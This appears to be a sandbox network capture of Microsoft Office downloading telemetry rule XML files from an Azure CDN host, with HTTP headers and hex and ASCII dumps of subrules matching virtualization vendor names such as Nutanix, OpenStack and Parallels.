2024-11-24 04:11:46 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:46 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041146Z-178bfbc474bmqmgjhC1NYCy16c00000005k0000000004y5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:46 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:46 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041146Z-174c587ffdfb74xqhC1TEBhabc00000003vg00000000g4y3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:46 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:46 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: a7625850-801e-007b-654c-3ce7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041146Z-15b8b599d88pxmdghC1TEBux9c000000042g000000005wu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:46 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041146Z-174c587ffdfb74xqhC1TEBhabc00000003zg000000003um4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:46 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:46 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:46 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b855c3e2-e01e-0051-540f-3e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041146Z-178bfbc474bv7whqhC1NYC1fg400000005bg00000000hafh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:46 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:48 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:48 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2cadd2f-601e-0001-2bab-3bfaeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041148Z-15b8b599d88vp97chC1TEB5pzw00000003tg00000000gymp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:48 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:48 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:48 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: db5fa324-001e-00ad-2244-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041148Z-15b8b599d88l2dpthC1TEBmzr000000003wg0000000083bh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:48 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:48 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041148Z-174c587ffdfx984chC1TEB676g00000003tg00000000rb0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:48 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:48 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:48 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:48 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 9434b372-401e-002a-4f0b-3dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041148Z-178bfbc474bv7whqhC1NYC1fg400000005gg000000003k19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:48 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:48 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:49 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:49 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2151d667-701e-0021-3e0f-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041149Z-178bfbc474bfw4gbhC1NYCunf400000005ag00000000n8x0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:49 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.7	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:50 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:51 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:50 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: f224b857-001e-00ad-6c03-3e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041150Z-178bfbc474b7cbwqhC1NYC8z4n00000005f000000000061d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:51 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:50 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:50 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041150Z-178bfbc474bwlrhlhC1NYCy3kg00000005h00000000023n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:51 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

